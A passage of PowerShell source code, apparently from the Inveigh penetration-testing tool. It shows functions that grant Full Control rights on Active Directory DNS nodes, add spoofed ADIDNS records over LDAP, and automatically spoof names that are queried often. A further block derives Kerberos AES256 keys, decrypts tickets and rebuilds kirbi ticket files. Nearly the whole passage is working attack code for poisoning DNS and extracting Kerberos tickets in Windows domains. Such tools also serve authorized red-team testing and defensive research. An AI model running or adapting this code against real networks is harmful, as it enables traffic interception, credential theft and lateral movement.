$($_.InvocationInfo.Line.Trim())") > $null 2441 } 2442 2443 try 2444 { 2445 $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE) 2446 $directory_entry.psbase.CommitChanges() 2447 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Full Control ACE added for $Principal to $Node DACL") > $null 2448 } 2449 catch 2450 { 2451 $error_message = $_.Exception.Message 2452 $error_message = $error_message -replace "`n","" 2453 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 2454 } 2455 2456 if($directory_entry.Path) 2457 { 2458 $directory_entry.Close() 2459 } 2460 2461 return $output 2462 } 2463 2464 function New-ADIDNSNode 2465 { 2466 [CmdletBinding()] 2467 param 2468 ( 2469 [parameter(Mandatory=$false)][String]$Data, 2470 [parameter(Mandatory=$false)][String]$DistinguishedName, 2471 [parameter(Mandatory=$false)][String]$Domain, 2472 [parameter(Mandatory=$false)][String]$DomainController, 2473 [parameter(Mandatory=$false)][String]$Forest, 2474 [parameter(Mandatory=$true)][String]$Node, 2475 [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", 2476 [parameter(Mandatory=$false)][String]$Type, 2477 [parameter(Mandatory=$false)][String]$Zone, 2478 [parameter(Mandatory=$false)][Int]$TTL, 2479 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential 2480 ) 2481 2482 $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") 2483 2484 $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" 2485 $DC_array = $Domain.Split(".") 2486 2487 foreach($DC in $DC_array) 2488 { 2489 $distinguished_name += ",DC=$DC" 2490 } 2491 2492 [Byte[]]$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Type $Type -TTL $TTL -Zone $Zone 2493 $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) 2494 2495 if($Credential) 2496 { 2497 $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) 2498 } 2499 else 2500 { 2501 $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) 2502 } 2503 2504 $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration" 2505 $forest_array = $Forest.Split(".") 2506 2507 foreach($DC in $forest_array) 2508 { 2509 $object_category += ",DC=$DC" 2510 } 2511 2512 try 2513 { 2514 $connection.SessionOptions.Sealing = $true 2515 $connection.SessionOptions.Signing = $true 2516 $connection.Bind() 2517 $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest 2518 $request.DistinguishedName = $distinguished_name 2519 $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null 2520 $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null 2521 $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null 2522 $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null 2523 $connection.SendRequest($request) > $null 2524 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node type $Type added to $Zone") > $null 2525 $output = $true 2526 $inveigh.ADIDNS_table.$Node = "1" 2527 } 2528 catch 2529 { 2530 $error_message = $_.Exception.Message 2531 $error_message = $error_message -replace "`n","" 2532 $output = $false 2533 2534 if($_.Exception.Message -ne 'Exception calling "SendRequest" with "1" argument(s): "The object exists."') 2535 { 2536 $inveigh.ADIDNS = $null 2537 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 2538 $inveigh.ADIDNS_table.$Node = "0" 2539 } 2540 2541 } 2542 2543 return $output 2544 } 2545 2546 function New-SOASerialNumberArray 2547 { 2548 2549 [CmdletBinding()] 2550 param 2551 ( 2552 [parameter(Mandatory=$false)][String]$DomainController, 2553 [parameter(Mandatory=$false)][String]$Zone 2554 ) 2555 2556 $Zone = $Zone.ToLower() 2557 2558 function Convert-DataToUInt16($Field) 2559 { 2560 [Array]::Reverse($Field) 2561 return [System.BitConverter]::ToUInt16($Field,0) 2562 } 2563 2564 function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) 2565 { 2566 2567 foreach($field in $OrderedDictionary.Values) 2568 { 2569 $byte_array += $field 2570 } 2571 2572 return $byte_array 2573 } 2574 2575 function New-RandomByteArray 2576 { 2577 param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) 2578 2579 [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) 2580 [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 2581 2582 return $random 2583 } 2584 2585 function New-DNSNameArray 2586 { 2587 param([String]$Name) 2588 2589 $character_array = $Name.ToCharArray() 2590 [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} 2591 2592 if($index_array.Count -gt 0) 2593 { 2594 2595 $name_start = 0 2596 2597 foreach($index in $index_array) 2598 { 2599 $name_end = $index - $name_start 2600 [Byte[]]$name_array += $name_end 2601 [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) 2602 $name_start = $index + 1 2603 } 2604 2605 [Byte[]]$name_array += ($Name.Length - $name_start) 2606 [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) 2607 } 2608 else 2609 { 2610 [Byte[]]$name_array = $Name.Length 2611 [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) 2612 } 2613 2614 return $name_array 2615 } 2616 2617 function New-PacketDNSSOAQuery 2618 { 2619 param([String]$Name) 2620 2621 [Byte[]]$type = 0x00,0x06 2622 [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 2623 [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] 2624 [Byte[]]$transaction_ID = New-RandomByteArray 2 2625 $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary 2626 $DNSQuery.Add("Length",$length) 2627 $DNSQuery.Add("TransactionID",$transaction_ID) 2628 $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) 2629 $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) 2630 $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) 2631 $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) 2632 $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) 2633 $DNSQuery.Add("Queries_Name",$name) 2634 $DNSQuery.Add("Queries_Type",$type) 2635 $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) 2636 2637 return $DNSQuery 2638 } 2639 2640 $DNS_client = New-Object System.Net.Sockets.TCPClient 2641 $DNS_client.Client.ReceiveTimeout = 3000 2642 2643 try 2644 { 2645 $DNS_client.Connect($DomainController,"53") 2646 $DNS_client_stream = $DNS_client.GetStream() 2647 $DNS_client_receive = New-Object System.Byte[] 2048 2648 $packet_DNSQuery = New-PacketDNSSOAQuery $Zone 2649 [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery 2650 $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null 2651 $DNS_client_stream.Flush() 2652 $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null 2653 $DNS_client.Close() 2654 $DNS_client_stream.Close() 2655 2656 if($DNS_client_receive[9] -eq 0) 2657 { 2658 $inveigh.output_queue.Add("[-] $Zone SOA record not found") > $null 2659 } 2660 else 2661 { 2662 $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive) 2663 $DNS_reply_converted = $DNS_reply_converted -replace "-","" 2664 $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001") 2665 $SOA_answer_index = $SOA_answer_index / 2 2666 $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)] 2667 $SOA_length = Convert-DataToUInt16 $SOA_length 2668 [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)] 2669 $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + 1 2670 [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3] 2671 } 2672 2673 } 2674 catch 2675 { 2676 $inveigh.output_queue.Add("[-] $DomainController did not respond on TCP port 53") > $null 2677 } 2678 2679 return [Byte[]]$SOA_serial_number_array 2680 } 2681 2682 function New-DNSRecordArray 2683 { 2684 [CmdletBinding()] 2685 [OutputType([Byte[]])] 2686 param 2687 ( 2688 [parameter(Mandatory=$false)][String]$Data, 2689 [parameter(Mandatory=$false)][String]$DomainController, 2690 [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", 2691 [parameter(Mandatory=$false)][String]$Zone, 2692 [parameter(Mandatory=$false)][Int]$Preference, 2693 [parameter(Mandatory=$false)][Int]$Priority, 2694 [parameter(Mandatory=$false)][Int]$Weight, 2695 [parameter(Mandatory=$false)][Int]$Port, 2696 [parameter(Mandatory=$false)][Int]$TTL = 600, 2697 [parameter(Mandatory=$false)][Int32]$SOASerialNumber, 2698 [parameter(Mandatory=$false)][Switch]$Static, 2699 [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter 2700 ) 2701 2702 $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone 2703 2704 function New-DNSNameArray 2705 { 2706 param([String]$Name) 2707 2708 $character_array = $Name.ToCharArray() 2709 [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} 2710 2711 if($index_array.Count -gt 0) 2712 { 2713 2714 $name_start = 0 2715 2716 foreach($index in $index_array) 2717 { 2718 $name_end = $index - $name_start 2719 [Byte[]]$name_array += $name_end 2720 [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) 2721 $name_start = $index + 1 2722 } 2723 2724 [Byte[]]$name_array += ($Name.Length - $name_start) 2725 [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) 2726 } 2727 else 2728 { 2729 [Byte[]]$name_array = $Name.Length 2730 [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) 2731 } 2732 2733 return $name_array 2734 } 2735 2736 switch ($Type) 2737 { 2738 2739 'A' 2740 { 2741 [Byte[]]$DNS_type = 0x01,0x00 2742 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1] 2743 [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() 2744 } 2745 2746 'AAAA' 2747 { 2748 [Byte[]]$DNS_type = 0x1c,0x00 2749 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1] 2750 [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() 2751 } 2752 2753 'CNAME' 2754 { 2755 [Byte[]]$DNS_type = 0x05,0x00 2756 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] 2757 [Byte[]]$DNS_data = $Data.Length + 2 2758 $DNS_data += ($Data.Split(".")).Count 2759 $DNS_data += New-DNSNameArray $Data 2760 $DNS_data += 0x00 2761 } 2762 2763 'DNAME' 2764 { 2765 [Byte[]]$DNS_type = 0x27,0x00 2766 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] 2767 [Byte[]]$DNS_data = $Data.Length + 2 2768 $DNS_data += ($Data.Split(".")).Count 2769 $DNS_data += New-DNSNameArray $Data 2770 $DNS_data += 0x00 2771 } 2772 2773 'MX' 2774 { 2775 [Byte[]]$DNS_type = 0x0f,0x00 2776 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1] 2777 [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0] 2778 $DNS_data += $Data.Length + 2 2779 $DNS_data += ($Data.Split(".")).Count 2780 $DNS_data += New-DNSNameArray $Data 2781 $DNS_data += 0x00 2782 } 2783 2784 'NS' 2785 { 2786 [Byte[]]$DNS_type = 0x02,0x00 2787 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] 2788 [Byte[]]$DNS_data = $Data.Length + 2 2789 $DNS_data += ($Data.Split(".")).Count 2790 $DNS_data += New-DNSNameArray $Data 2791 $DNS_data += 0x00 2792 } 2793 2794 'PTR' 2795 { 2796 [Byte[]]$DNS_type = 0x0c,0x00 2797 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] 2798 [Byte[]]$DNS_data = $Data.Length + 2 2799 $DNS_data += ($Data.Split(".")).Count 2800 $DNS_data += New-DNSNameArray $Data 2801 $DNS_data += 0x00 2802 } 2803 2804 'SRV' 2805 { 2806 [Byte[]]$DNS_type = 0x21,0x00 2807 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1] 2808 [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0] 2809 $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0] 2810 $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0] 2811 $DNS_data += $Data.Length + 2 2812 $DNS_data += ($Data.Split(".")).Count 2813 $DNS_data += New-DNSNameArray $Data 2814 $DNS_data += 0x00 2815 } 2816 2817 'TXT' 2818 { 2819 [Byte[]]$DNS_type = 0x10,0x00 2820 [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1] 2821 [Byte[]]$DNS_data = $Data.Length 2822 $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data) 2823 } 2824 2825 } 2826 2827 [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL) 2828 [Byte[]]$DNS_record = $DNS_length + 2829 $DNS_type + 2830 0x05,0xF0,0x00,0x00 + 2831 $SOASerialNumberArray[0..3] + 2832 $DNS_TTL[3..0] + 2833 0x00,0x00,0x00,0x00 2834 2835 if($Static) 2836 { 2837 $DNS_record += 0x00,0x00,0x00,0x00 2838 } 2839 else 2840 { 2841 $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours 2842 $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) 2843 $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} 2844 $timestamp = $timestamp[0..3] 2845 $DNS_record += $timestamp 2846 } 2847 2848 $DNS_record += $DNS_data 2849 2850 return ,$DNS_record 2851 } 2852 2853 function Invoke-ADIDNSSpoofer 2854 { 2855 [CmdletBinding()] 2856 param 2857 ( 2858 [parameter(Mandatory=$false)][String]$Data, 2859 [parameter(Mandatory=$false)][String]$Domain, 2860 [parameter(Mandatory=$false)][String]$DomainController, 2861 [parameter(Mandatory=$false)][String]$Forest, 2862 [parameter(Mandatory=$true)][String]$Node, 2863 [parameter(Mandatory=$false)][String]$Partition, 2864 [parameter(Mandatory=$false)][String]$Type, 2865 [parameter(Mandatory=$false)][String]$Zone, 2866 [parameter(Mandatory=$false)][Int]$TTL, 2867 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential 2868 ) 2869 2870 try 2871 { 2872 $node_added = New-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $Node -Partition $Partition -Type $Type -TTL $TTL -Zone $Zone 2873 2874 if($inveigh.ADIDNS -and !$node_added) 2875 { 2876 $node_tombstoned = Get-ADIDNSNodeTombstoned -Credential $Credential -Domain $Domain -DomainController $DomainController -Node $Node -Partition $Partition -Zone $Zone 2877 2878 if($node_tombstoned) 2879 { 2880 Enable-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Node $Node -Partition $Partition -Type $Type -TTL $TTL -Zone $Zone 2881 } 2882 2883 } 2884 2885 } 2886 catch 2887 { 2888 $error_message = $_.Exception.Message 2889 $error_message = $error_message -replace "`n","" 2890 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 2891 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS spoofer disabled due to error") > $null 2892 $inveigh.ADIDNS = $null 2893 } 2894 2895 } 2896 2897 function Invoke-ADIDNSCheck 2898 { 2899 [CmdletBinding()] 2900 param 2901 ( 2902 [parameter(Mandatory=$false)][Array]$Ignore, 2903 [parameter(Mandatory=$false)][String]$Data, 2904 [parameter(Mandatory=$false)][String]$Domain, 2905 [parameter(Mandatory=$false)][String]$DomainController, 2906 [parameter(Mandatory=$false)][String]$Forest, 2907 [parameter(Mandatory=$false)]$Partition, 2908 [parameter(Mandatory=$false)][String]$Zone, 2909 [parameter(Mandatory=$false)][Int]$Threshold, 2910 [parameter(Mandatory=$false)][Int]$TTL, 2911 [parameter(Mandatory=$false)]$RequestTable, 2912 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential 2913 ) 2914 2915 Start-Sleep -S 1 2916 2917 foreach($request in $RequestTable.Keys) 2918 { 2919 2920 if(($RequestTable.$request | Sort-Object -Unique).Count -gt $Threshold) 2921 { 2922 2923 if(!$inveigh.ADIDNS_table.ContainsKey($request)) 2924 { 2925 $inveigh.ADIDNS_table.Add($request,"") 2926 } 2927 2928 if($Ignore -NotContains $request -and !$inveigh.ADIDNS_table.$request) 2929 { 2930 Invoke-ADIDNSSpoofer -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $request -Partition $Partition -Type 'A' -TTL $TTL -Zone $Zone 2931 } 2932 elseif($Ignore -Contains $request) 2933 { 2934 2935 if(!$inveigh.ADIDNS_table.$request) 2936 { 2937 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS combo attack ignored $request") > $null 2938 $inveigh.ADIDNS_table.$request = 3 2939 } 2940 2941 } 2942 2943 } 2944 2945 Start-Sleep -m 10 2946 } 2947 2948 } 2949 2950 } 2951 2952 # Kerberos Functions ScriptBlock 2953 $kerberos_functions_scriptblock = 2954 { 2955 2956 function Get-KerberosAES256BaseKey 2957 { 2958 param([String]$salt,[System.Security.SecureString]$password) 2959 2960 $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) 2961 $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) 2962 [Byte[]]$salt = [System.Text.Encoding]::UTF8.GetBytes($salt) 2963 [Byte[]]$password_cleartext = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext) 2964 $constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4 2965 $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_cleartext,$salt,4096) 2966 Remove-Variable password_cleartext 2967 $PBKDF2_key = $PBKDF2.GetBytes(32) 2968 $AES = New-Object "System.Security.Cryptography.AesManaged" 2969 $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC 2970 $AES.Padding = [System.Security.Cryptography.PaddingMode]::None 2971 $AES.IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 2972 $AES.KeySize = 256 2973 $AES.Key = $PBKDF2_key 2974 $AES_encryptor = $AES.CreateEncryptor() 2975 $base_key_part_1 = $AES_encryptor.TransformFinalBlock($constant,0,$constant.Length) 2976 $base_key_part_2 = $AES_encryptor.TransformFinalBlock($base_key_part_1,0,$base_key_part_1.Length) 2977 $base_key = $base_key_part_1[0..15] + $base_key_part_2[0..15] 2978 2979 return $base_key 2980 } 2981 2982 function Get-KerberosAES256UsageKey 2983 { 2984 param([String]$key_type,[Int]$usage_number,[Byte[]]$base_key) 2985 2986 $padding = 0x00 * 16 2987 2988 if($key_type -eq 'checksum') 2989 { 2990 switch($usage_number) 2991 { 2992 25 {[Byte[]]$usage_constant = 0x5d,0xfb,0x7d,0xbf,0x53,0x68,0xce,0x69,0x98,0x4b,0xa5,0xd2,0xe6,0x43,0x34,0xba + $padding} 2993 } 2994 } 2995 elseif($key_type -eq 'encrypt') 2996 { 2997 2998 switch($usage_number) 2999 { 3000 1 {[Byte[]]$usage_constant = 0xae,0x2c,0x16,0x0b,0x04,0xad,0x50,0x06,0xab,0x55,0xaa,0xd5,0x6a,0x80,0x35,0x5a + $padding} 3001 2 {[Byte[]]$usage_constant = 0xb5,0xb0,0x58,0x2c,0x14,0xb6,0x50,0x0a,0xad,0x56,0xab,0x55,0xaa,0x80,0x55,0x6a + $padding} 3002 3 {[Byte[]]$usage_constant = 0xbe,0x34,0x9a,0x4d,0x24,0xbe,0x50,0x0e,0xaf,0x57,0xab,0xd5,0xea,0x80,0x75,0x7a + $padding} 3003 4 {[Byte[]]$usage_constant = 0xc5,0xb7,0xdc,0x6e,0x34,0xc7,0x51,0x12,0xb1,0x58,0xac,0x56,0x2a,0x80,0x95,0x8a + $padding} 3004 7 {[Byte[]]$usage_constant = 0xde,0x44,0xa2,0xd1,0x64,0xe0,0x51,0x1e,0xb7,0x5b,0xad,0xd6,0xea,0x80,0xf5,0xba + $padding} 3005 11 {[Byte[]]$usage_constant = 0xfe,0x54,0xaa,0x55,0xa5,0x02,0x52,0x2f,0xbf,0x5f,0xaf,0xd7,0xea,0x81,0x75,0xfa + $padding} 3006 12 {[Byte[]]$usage_constant = 0x05,0xd7,0xec,0x76,0xb5,0x0b,0x53,0x33,0xc1,0x60,0xb0,0x58,0x2a,0x81,0x96,0x0b + $padding} 3007 14 {[Byte[]]$usage_constant = 0x15,0xe0,0x70,0xb8,0xd5,0x1c,0x53,0x3b,0xc5,0x62,0xb1,0x58,0xaa,0x81,0xd6,0x2b + $padding} 3008 } 3009 3010 } 3011 elseif($key_type -eq 'integrity') 3012 { 3013 3014 switch($usage_number) 3015 { 3016 1 {[Byte[]]$usage_constant = 0x5b,0x58,0x2c,0x16,0x0a,0x5a,0xa8,0x05,0x56,0xab,0x55,0xaa,0xd5,0x40,0x2a,0xb5 + $padding} 3017 4 {[Byte[]]$usage_constant = 0x72,0xe3,0xf2,0x79,0x3a,0x74,0xa9,0x11,0x5c,0xae,0x57,0x2b,0x95,0x40,0x8a,0xe5 + $padding} 3018 7 {[Byte[]]$usage_constant = 0x8b,0x70,0xb8,0xdc,0x6a,0x8d,0xa9,0x1d,0x62,0xb1,0x58,0xac,0x55,0x40,0xeb,0x15 + $padding} 3019 11 {[Byte[]]$usage_constant = 0xab,0x80,0xc0,0x60,0xaa,0xaf,0xaa,0x2e,0x6a,0xb5,0x5a,0xad,0x55,0x41,0x6b,0x55 + $padding} 3020 } 3021 3022 } 3023 3024 $AES = New-Object "System.Security.Cryptography.AesManaged" 3025 $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC 3026 $AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 3027 $AES.IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 3028 $AES.KeySize = 256 3029 $AES.Key = $base_key 3030 $AES_encryptor = $AES.CreateEncryptor() 3031 $usage_key = $AES_encryptor.TransformFinalBlock($usage_constant,0,$usage_constant.Length) 3032 3033 return $usage_key 3034 } 3035 3036 function Get-ASN1Length 3037 { 3038 param ([Byte[]]$asn1) 3039 3040 $i = 0 3041 3042 while ($asn1[$i] -ne 3 -and $asn1[$i] -ne 129 -and $asn1[$i] -ne 130 -and $asn1[$i] -ne 131 -and $asn1[$i] -ne 132 -and $i -lt 1) 3043 { 3044 $i++ 3045 } 3046 3047 switch ($asn1[$i]) 3048 { 3049 3050 3 3051 { 3052 $i += 3 3053 $length = $asn1[$i] 3054 $i++ 3055 } 3056 3057 129 3058 { 3059 $i += 1 3060 $length = $asn1[$i] 3061 $i++ 3062 } 3063 3064 130 3065 { 3066 $i += 2 3067 $length = Get-UInt16DataLength 0 $asn1[($i)..($i - 1)] 3068 $i++ 3069 } 3070 3071 131 3072 { 3073 $i += 3 3074 $length = Get-UInt32DataLength 0 ($asn1[($i)..($i - 2)] + 0x00) 3075 $i++ 3076 } 3077 3078 132 3079 { 3080 $i += 4 3081 $length = Get-UInt32DataLength 0 $asn1[($i)..($i - 3)] 3082 $i++ 3083 } 3084 3085 } 3086 3087 return $i,$length 3088 } 3089 3090 function Unprotect-Kerberos 3091 { 3092 param([Byte[]]$ke_key,[Byte[]]$encrypted_data) 3093 3094 $final_block_length = [Math]::Truncate($encrypted_data.Count % 16) 3095 [Byte[]]$final_block = $encrypted_data[($encrypted_data.Count - $final_block_length)..$encrypted_data.Count] 3096 [Byte[]]$penultimate_block = $encrypted_data[($encrypted_data.Count - $final_block_length - 16)..($encrypted_data.Count - $final_block_length - 1)] 3097 $AES = New-Object "System.Security.Cryptography.AesManaged" 3098 $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC 3099 $AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 3100 $AES.IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 3101 $AES.KeySize = 256 3102 $AES.Key = $ke_key 3103 $AES_decryptor = $AES.CreateDecryptor() 3104 $penultimate_block_cleartext = $AES_decryptor.TransformFinalBlock($penultimate_block,0,$penultimate_block.Length) 3105 [Byte[]]$final_block_padding = $penultimate_block_cleartext[$final_block_length..$penultimate_block_cleartext.Count] 3106 $final_block += $final_block_padding 3107 [Byte[]]$cts_encrypted_data = $encrypted_data[0..($encrypted_data.Count - $final_block_length - 17)] + $final_block + $penultimate_block 3108 [Byte[]]$cleartext = $AES_decryptor.TransformFinalBlock($cts_encrypted_data,0,$cts_encrypted_data.Length) 3109 3110 return $cleartext 3111 } 3112 3113 function Get-Kirbi 3114 { 3115 param([Byte[]]$kirbi2,[Byte[]]$kirbi3) 3116 3117 [Byte[]]$kirbi = $kirbi2 + $kirbi3 3118 $kirbi = 0x30,0x84 + [System.BitConverter]::GetBytes($kirbi.Count)[3..0] + $kirbi 3119 $kirbi = 0x76,0x84 + [System.BitConverter]::GetBytes($kirbi.Count)[3..0] + $kirbi 3120 3121 return $kirbi 3122 } 3123 function Get-KirbiPartTwo 3124 { 3125 param([Byte[]]$cleartext) 3126 3127 $ASN1 = Get-ASN1Length $cleartext[4..9] 3128 $ASN1_length = $ASN1[0] 3129 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + 4)..($ASN1_length + 9)] 3130 $ASN1_length += $ASN1[0] 3131 $realm_length = $cleartext[($ASN1_length + 7)] 3132 $username_length = $cleartext[($ASN1_length + $realm_length + 22)] 3133 $field_length = $realm_length + $username_length 3134 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3135 $ASN1_length += $ASN1[0] 3136 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3137 $ASN1_length += $ASN1[0] 3138 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3139 $ASN1_length += $ASN1[0] 3140 $pvno = $cleartext[($ASN1_length + $field_length + 73)] 3141 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3142 $ASN1_length += $ASN1[0] 3143 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3144 $ASN1_length += $ASN1[0] 3145 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3146 $ASN1_length += $ASN1[0] 3147 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3148 $ASN1_length += $ASN1[0] 3149 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3150 $ASN1_length += $ASN1[0] 3151 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 74)..($ASN1_length + $field_length + 79)] 3152 $ASN1_length += $ASN1[0] 3153 $tkt_vno = $cleartext[($ASN1_length + $field_length + 73)] 3154 $realm2_length = $cleartext[($ASN1_length + $field_length + 75)] 3155 [Byte[]]$realm2 = $cleartext[($ASN1_length + $field_length + 76)..($ASN1_length + $field_length + $realm2_length + 75)] 3156 $field_length += $realm2_length 3157 $sname_string_length = $cleartext[($ASN1_length + $field_length + 88)] 3158 [Byte[]]$sname_string = $cleartext[($ASN1_length + $field_length + 89)..($ASN1_length + $field_length + $sname_string_length + 88)] 3159 $field_length += $sname_string_length 3160 $ASN1 = Get-ASN1Length $cleartext[($ASN1_length + $field_length + 89)..($ASN1_length + $field_length + 94)] 